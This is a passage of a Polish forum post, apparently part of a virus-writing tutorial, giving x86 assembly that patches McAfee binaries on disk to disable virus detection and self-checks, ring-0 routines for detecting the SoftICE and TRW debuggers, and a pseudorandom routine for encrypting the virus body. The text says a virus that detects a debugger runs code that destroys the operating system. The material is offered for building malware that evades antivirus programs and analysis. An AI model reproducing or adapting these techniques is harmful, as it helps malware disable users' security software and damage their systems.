W przypadku, gdy kod wirusa spowoduje wyjątek, system operacyjny wywoła procedurę obsluga_wyjatku. Dzięki temu wirus będzie wiedział iż na bieżącym systemie operacyjnym nie będzie on działał poprawnie oraz będzie mógł zakończyć swoje działanie.
----------
Ochrona przed antywirusami
----------
Ochrona przeciw programom antywirusowym jest kluczową sprawą w wirusach, gdyż od tego zależy ich byt w systemie operacyjnym. Jak się przed nimi chronić ? – sposobem może być wyłączenie procedur sprawdzania plików bezpośrednio w kodzie antywirusa. Dzięki temu, nawet jeśli antywirus radziłby sobie z wirusem, nie będzie w stanie zareagować w przypadku rozprzestrzeniania się wirusa w systemie. Tę metodę zaprezentował nam pewien człowiek, o nicku "Z0MB1E". Działa ona na zasadzie takiej, iż przeszukuje dysk twardy w poszukiwaniu plików wykonywalnych antywirusów, następnie otwiera je i zmienia ich kod (patchuje) na stałe. Dzięki temu antywirus po ponownym odpaleniu się, z uwagi na wyłączone procedury sprawdzające, nie będzie sprawiał więcej już problemów. Z0MB1E zaprezentował tą metodę na przykładzie AVP oraz MACAFE – wiodących programach antywirusowych.

Przykłady :

Kod:
; MACAFE -- disable virus-detection

; mcscan32.dll

; B801000000 mov eax, 1 --> B8 00 ... mov eax, 0

; EB02 jmp xxxxxxxx

; 31C0 xor eax, eax

; [8987C002]0000 mov [edi+0000002C0], eax

__patch5: cmp dword ptr [esi-4], 0C03102EBh

jne __continue

cmp dword ptr [esi-8], 1

jne __continue

mov byte ptr [esi-8], 0

inc ebx

jmp __continue

Kod:
; MACAFE -- disable self-check

; mcutil32.dll

; 83 C4 10 add esp, 10h

; 3B 45 F3 cmp eax, [ebp+csum]

; 74 07 je xxxxxxxx

;[C7 45 FC 01]00 00 00 mov [ebp+res], 1

__patch6: cmp dword ptr [esi-4], 0774F345h

jne __continue

cmp dword ptr [esi-8], 3B10C483h

jne __continue

cmp dword ptr [esi+3], 1

jne __continue

mov byte ptr [esi+3], 0

inc ebx

jmp __continue

Po wykonaniu tych procedur zmiany są uaktualniane w plikach wykonywalnych. I przy następnym uruchomieniu systemu operacyjnego antywirusy staną się nieaktywne.
----------
Antydebugging
----------
A tak naprawdę przeciw ludziom używających debuggerów w celu analizy i reversingu kodu wirusa. Jest to następna z metod ochrony wirusa przeciw antywirusami, gdyż, dopóki nie jest możliwa analiza kodu wirusa, nie zostanie dla niego napisany antywirus. Ochrona ta, jak wszystkie, jest do przejścia i działa na takiej zasadzie, że w przypadku, gdy wirus wykryje debuggera w pamięci operacyjnej, uruchamia procedury niszczące system operacyjny. Dzięki temu uniemożliwia analizę jego kodu. Debugger jest zobligowany do przejęcia przerwań 1 i 3. Przerwania, te są wywoływane przez procesor w sytuacji, w której wystąpi wyjątek debug lub też breakpoint. W szczególności :

- przerwanie nr. 1 - wywoływane przez procesor, gdy wystąpi wyjątek typu debug
- przerwanie nr. 3 – breakpoint (pułapka)

Procedury obsługi tych przerwań debugger instaluje w tablicy IDT (Interrupt Descriptor Table). Jedną z metod wykrycia debuggera, jest badanie różnicy pomiędzy punktami wejść do procedur obsługi przerwań 1 oraz 3, która w czystym systemie, bez debuggera, wynosi 10h.

Przykład :

Kod:
push eax

sidt [esp-2]

pop eax

add eax,8; EAX = adres wektora int 1h

mov ebx, [eax]; BX = młodsze 16 bitów adresu

add eax, 16; EAX = adres wektora int 3h

mov eax, [eax]; AX = młodsze 16 bitów adresu

sub al, bl; Oblicz różnicę adresów

sub al,10h

jnz debugger_aktywny

Oraz następną procedurą wykrywającą debuggera jest : ring0

Kod:
push 0000004fh; funkcja 4fh

int 20h

dd 002a002ah  ; VWIN32_Int41Dispatch

cmp ax, 0f386h; znacznik instalacji

jz debugger_aktywny

Jest to wywołanie funkcji 4Fh przerwania 41h – sprawdzenie instalacji debuggera w systemie. W momencie startu systemu, Windows 9x wywołuje funkcję tego przerwania sprawdzając czy ma się uruchomić w trybie debuggingu czy też nie. Gdy Windows 9x uruchomi się w trybie debuggingu, wywołuje to przerwanie w celach informacyjnych dla potrzeb debuggera. Przekazuje mu to jakie moduły są ładowane do pamięci oraz jakie są deinstalowane. Jednym z debuggerów systemowych Windows-a 9x jest SoftICE.

Przykład wykrywania debuggera SoftICE :

Kod:
ring0:

push 41h; numer przerwania

pop eax

db 0CDh,20h; Get_PM_Int_Vector

dw 0044h,0001h; zwraca adres procedury obsługującej przerwanie

cmp edx,8; jeśli offset = 8 to znaczy ze

je SoftICE_aktywny

jest_sice db 0

Kod:
80

ring0:

db 0CDh,20h; Get_Cur_VM_Handle

dw 0001h,0001h

mov edx, 400h

call_sice:

db 0CDh,20h; Disable_Local_Trapping

dw 009Ah,0001h

mov esi,dword ptr [call_sice+2]

; offset DWORDa wskazującego na adres

; Disable_Local_Trapping

mov esi,[esi]; adres Disable_Local_Trapping

cmp word ptr [esi],015FFh; czy pierwsze bajty procki to do widzenia

; instruckji call dword[..]?

jne niee_sice; jeśli nie pomiń

cmp word ptr [esi+6],05751h

jne niee_sice

inc jest_sicE

niee_sice:

Następnym z debuggerów pozwalających na śledzenie kodu ring-0 jest TRW. Również dzięki niemu można zanalizować kod wirusa, z tego też względu zamieszczam, i na jego wykrycie, procedurę anty :

Kod:
jest_trw db 0

ring0:

db 0CDh,20h; Get_Cur_VM_Handle

dw 0001h,0001h

push ebx

mov eax,000Eh; VM_RESUME

call_trw:

db 0CDh,20h; System_Control

dw 0093h,0001h; po wykonaniu VxDCall-a bajty 0CDh,20h

; i numer usługi zamieniają się na

; tzw. direct call-a czyli

; call dword ptr[vadres]

; (0FFh,15h,DWORD vadres)

mov esi,dword ptr [call_trw+2]

mov esi,[esi]; vadres System_Control

cmp byte ptr [esi],0E8h; sprawdź pierwsze bajty procki czy

; to opcode

jne niee_trw; relatywnego call'a(0E8h,DWORD)

cmp word ptr [esi+5],025FFh; bajty absolutnego JMP'a

; (FF,25h,DWORD vadres)

jne niee_trw

inc jest_trw

niee_trw:
----------
Antidisassembling
----------
Po infekcji wirusa w pliku wykonywalnym punkt wejścia do programu zmieniany jest na początek kodu wirusa, by po uruchomieniu programu przez użytkownika jego kod został uruchomiony. Z tego też względu kod wirusa jest „na widoku” i może zostać prosto wykryty. Jednakże wykrycie wirusa w systemie nie stanowi o jego deaktywacji. Potrzebna jest, ku temu, analiza kodu wirusa i napisanie dla niego antywirusa. By uchronić się przed analizą stosuje się ochronę przeciw disassemblerom, programom, które zamieniają kod maszynowy na assemblera, zrozumiałego dla człowieka. W tym celu stosuje się algorytmy, kryptujące kod wirusa (pisałem o tym w drugiej części artykułu).

Dzięki ich użyciu wirus w pliku zainfekowanym ma strukturę następującą :

Kod:
Punkt_startu_programu:

Algorytm dekryptujący

Jmp dalej

dalej:

Właściwy kod wirusa (zakryptowany)

Jmp programu_zainfekowanego

I nawet jeśli zainfekowany plik potraktujemy disassemblerem, tak naprawde, zobaczymy tylko algorytm dekryptujący, natomiast by przeanalizować właściwy kod wirusa będziemy musieli odkryptować go ręcznie lub też będziemy zobligowani do użycia debuggera.
Dla celów algorytmu kryptującego stosuje się procedury pseudolosowe, aby zakryptowany kod wirusa był dla każdego archiwum inny.

Przykład :

Kod:
random:; procedura modyfikuje rejestry ECX i EDX

cmp eax,0; oraz wartość losową zwraca w EAX

je random_escape

xchg eax,ecx

rdtsc

xor edx,edx

div ecx

xchg eax,edx

add eax,1

random_escape:

ret

Procedura ta korzysta z instrukcji RDTSC, która zwraca licznik cykli wykonanych przez procesor od momentu startu komputera (EDX:EAX), oraz z wartości rejestrów EAX na wejściu do tej procedury.
----------
Na pewno, jak dostane w najbliższym czasie weny, to napiszę i kolejną część artykułu..
----------
// nie wszystkie rzeczy były tu pisane przezemnie, niektóre z google.pl i wikipedia.pl
----------
Mam nadzieję, że i ta część artykułu się komuś przydała
smile.gif
 
Status
Zamknięty.
Do góry Bottom